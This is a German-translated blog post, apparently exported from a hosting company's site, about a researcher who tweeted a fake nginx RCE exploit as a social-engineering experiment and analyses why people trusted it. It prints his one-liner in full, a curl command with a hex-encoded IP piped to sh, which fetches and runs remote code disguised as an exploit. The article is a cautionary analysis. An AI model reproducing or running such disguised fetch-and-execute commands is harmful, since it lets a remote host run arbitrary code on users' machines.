{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Erfolg des sozialen Experiments mit dem gef\u00e4lschten Exploit f\u00fcr nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Hinweis.<\/b>: Autor<\/a><\/noindex> In einem k\u00fcrzlich ver\u00f6ffentlichten Artikel vom 1. Juni entschied er sich, ein Experiment im Bereich der Informationssicherheit durchzuf\u00fchren. Dazu bereitete er einen gef\u00e4lschten Exploit f\u00fcr eine unentdeckte Schwachstelle in einem Webserver vor und ver\u00f6ffentlichte diesen auf seinem Twitter-Account. Seine Annahme, sofort von Fachleuten enttarnt zu werden, die den offensichtlichen Betrug im Code erkennen w\u00fcrden, stellte sich nicht nur als falsch heraus\u2026 Sie \u00fcbertraf alle Erwartungen, und zwar in die andere Richtung: Der Tweet erhielt gro\u00dfe Unterst\u00fctzung von zahlreichen Menschen, die den Inhalt nicht \u00fcberpr\u00fcften.<\/i><\/p>\n

\"Erfolg
\n
\nTL;DR: Verwenden Sie auf keinen Fall die Dateiverarbeitung in sh oder bash. Das ist eine hervorragende M\u00f6glichkeit, die Kontrolle \u00fcber Ihren Computer zu verlieren.<\/b><\/a><\/noindex><\/p>\n

Ich m\u00f6chte eine kleine Geschichte \u00fcber einen scherzhaften PoC-Exploit teilen, der am 31. Mai erstellt wurde. Er erschien zeitnah als Antwort auf die Nachricht von Alisa Esage Schewtschenko<\/a><\/noindex>, Mitglied der Zero Day Initiative<\/a><\/noindex> (ZDI) hat angek\u00fcndigt, dass bald Informationen \u00fcber eine Sicherheitsanf\u00e4lligkeit in NGINX ver\u00f6ffentlicht werden, die zu RCE (Remote Code Execution) f\u00fchren kann. Da NGINX die Grundlage f\u00fcr viele Websites bildet, hatte diese Neuigkeit potenziell eine explosive Wirkung. Allerdings waren die Einzelheiten aufgrund von Verz\u00f6gerungen im Prozess der 'verantwortungsvollen Offenlegung' nicht bekannt \u2014 so besagt das Standardverfahren von ZDI.<\/p>\n

\"Erfolg
\nTweet<\/a><\/noindex> zur Offenlegung der Sicherheitsanf\u00e4lligkeit in NGINX<\/i><\/p>\n

Nachdem ich an einer neuen Obfuskationstechnik in curl gearbeitet hatte, zitierte ich den urspr\u00fcnglichen Tweet und 'leakte ein funktionierendes PoC', das aus einer einzigen Codezeile besteht, die angeblich die entdeckte Sicherheitsanf\u00e4lligkeit ausnutzt. Nat\u00fcrlich war das v\u00f6lliger Unsinn. Ich dachte, ich w\u00fcrde sofort entlarvt werden und im besten Fall w\u00fcrde ich ein paar Retweets bekommen (was auch in Ordnung w\u00e4re).<\/p>\n

\"Erfolg
\nTweet<\/a><\/noindex> mit einem gef\u00e4lschten Exploit<\/i><\/p>\n

Aber ich konnte mir nicht vorstellen, was als N\u00e4chstes passierte. Die Popularit\u00e4t meines Tweets schoss durch die Decke. Erstaunlicherweise haben bis jetzt (15:00 MSK am 1. Juni) nur wenige erkannt, dass es sich um einen Fake handelt. Viele retweeten ihn, ohne \u00fcberhaupt zu \u00fcberpr\u00fcfen (geschweige denn die wundersch\u00f6ne ASCII-Grafik zu bewundern, die er ausgibt).<\/p>\n

\"Erfolg
\nSchau dir diese Sch\u00f6nheit an!<\/i><\/p>\n

Obwohl all diese Zyklen und Farben gro\u00dfartig sind, ist es offensichtlich: Um sie zu sehen, mussten die Leute Code auf ihrer Maschine ausf\u00fchren. Gl\u00fccklicherweise funktionieren Browser \u00e4hnlich, und da ich keine rechtlichen Probleme haben m\u00f6chte, hat der Code auf meiner Seite nur Echo-Aufrufe gemacht, ohne zu versuchen, irgendeinen zus\u00e4tzlichen Code zu installieren oder auszuf\u00fchren.<\/p>\n

Ein kleiner Exkurs: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, ich und die anderen Jungs vom Team Thugcrowd<\/a><\/noindex> spielen schon eine Weile mit verschiedenen Methoden zur Obfuskation von curl-Befehlen, weil es Spa\u00df macht\u2026 und wir sind Nerds. Netspooky und dnz haben einige neue Ans\u00e4tze entdeckt, die ich extrem vielversprechend fand. Ich habe mich dem Spa\u00df angeschlossen und versucht, IP-dezimale Umwandlungen in die Tricks zu integrieren. Es stellte sich heraus, dass IPs auch in hexadezimale Formate umgewandelt werden k\u00f6nnen. Zudem \u201efressen\u201c curl und die meisten anderen NIX-Tools gerne hexadezimale IPs! Es war also nur notwendig, eine \u00fcberzeugende und sicher aussehende Eingabeaufforderung zu erstellen. Letztendlich habe ich mich f\u00fcr diese entschieden:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/%00\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Sozio-elektronische Ingenieurwissenschaft (S.E.E.) \u2013 mehr als nur Phishing<\/h2>\n
\nSicherheit und Vertrautheit waren der zentrale Bestandteil dieses Experiments. Ich denke, genau diese Aspekte f\u00fchrten zu seinem Erfolg. Die Kommandozeile implizierte eindeutig Sicherheit, indem sie auf \u201e127.0.0.1\u201c verwies (jeder kennt localhost). Man geht davon aus, dass localhost sicher ist und die Daten ihn niemals verlassen.<\/p>\n
Vertrautheit war das zweite Schl\u00fcsselkomponente des S.E.E.-Experiments. Da die Zielgruppe gr\u00f6\u00dftenteils aus Personen bestand, die mit den Grundlagen der Computersicherheit vertraut sind, war es wichtig, einen Code zu erstellen, dessen Teile vertraut und somit sicher erscheinen. Die \u00dcbernahme von Elementen alter Exploit-Konzepte und deren ungew\u00f6hnliche Kombination war \u00e4u\u00dferst erfolgreich.<\/p>\n
Nachfolgend finden Sie eine detaillierte Analyse des Einzeilers. Alles in dieser Liste hat kosmetischen Charakter<\/b>, und f\u00fcr seine tats\u00e4chliche Funktion sind nahezu keine Anforderungen notwendig.<\/i><\/p>\n
Welche Komponenten sind tats\u00e4chlich notwendig? Das sind -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> und der Webserver selbst. Der Webserver enthielt keine sch\u00e4dlichen Anweisungen, sondern \u00fcbertrug einfach ASCII-Grafiken mit Hilfe von Befehlen echo<\/code> im Skript, das enthalten ist in index.html<\/code>. Wenn der Benutzer eine Zeile mit |sh<\/code> in der Mitte eingab, index.html<\/code> wurde geladen und ausgef\u00fchrt. Gl\u00fccklicherweise hatten die Betreiber des Webservers keine b\u00f6sartigen Absichten.<\/p>\n